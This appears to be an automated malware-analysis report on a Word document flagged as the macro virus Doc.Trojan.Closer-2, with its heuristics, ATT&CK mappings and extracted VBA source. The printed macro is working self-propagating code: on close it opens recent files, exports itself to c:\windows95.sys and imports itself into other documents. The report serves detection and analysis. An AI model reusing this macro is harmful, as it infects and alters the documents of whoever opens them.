MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Word document containing VBA macros. The AutoClose macro is designed to open recent files, call the InfectMyAss subroutine, and then attempt to save the current document. The InfectMyAss subroutine exports the current macro to 'c:\windows95.sys' and then imports it into other documents, effectively spreading the macro. The presence of the AutoClose macro and the macro's self-propagation behavior strongly suggest a macro-based malware dropper.
Heuristics 4
-
ClamAV: Doc.Trojan.Closer-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Closer-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 950 bytes |
SHA-256: e95f272b47776300f0022311ccf2bf4295928389642dafb138d69a30f6d9c4e3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Closer"
Sub AutoClose()
Application.WindowState = wdWindowStateMinimize
RecMax = RecentFiles.Maximum
For i = 1 To RecMax
RecentFiles(i).Open
Call InfectMyAss
DocName = RecentFiles(i).Name
'Documents(DocName).Close
Next
Application.Quit
End Sub
Sub InfectMyAss()
On Error Resume Next
Set ActDok = ActiveDocument.VBProject.VBComponents
ActMod = Application.VBE.SelectedVBComponent.Name
ActInf = False
ActDok(ActMod).Export "c:\windows95.sys"
For i = 1 To ActDok.Count
If ActDok(i).Name = ActMod Then ActInf = True
Next
If ActInf = False Then
ActDok.Import "c:\windows95.sys"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.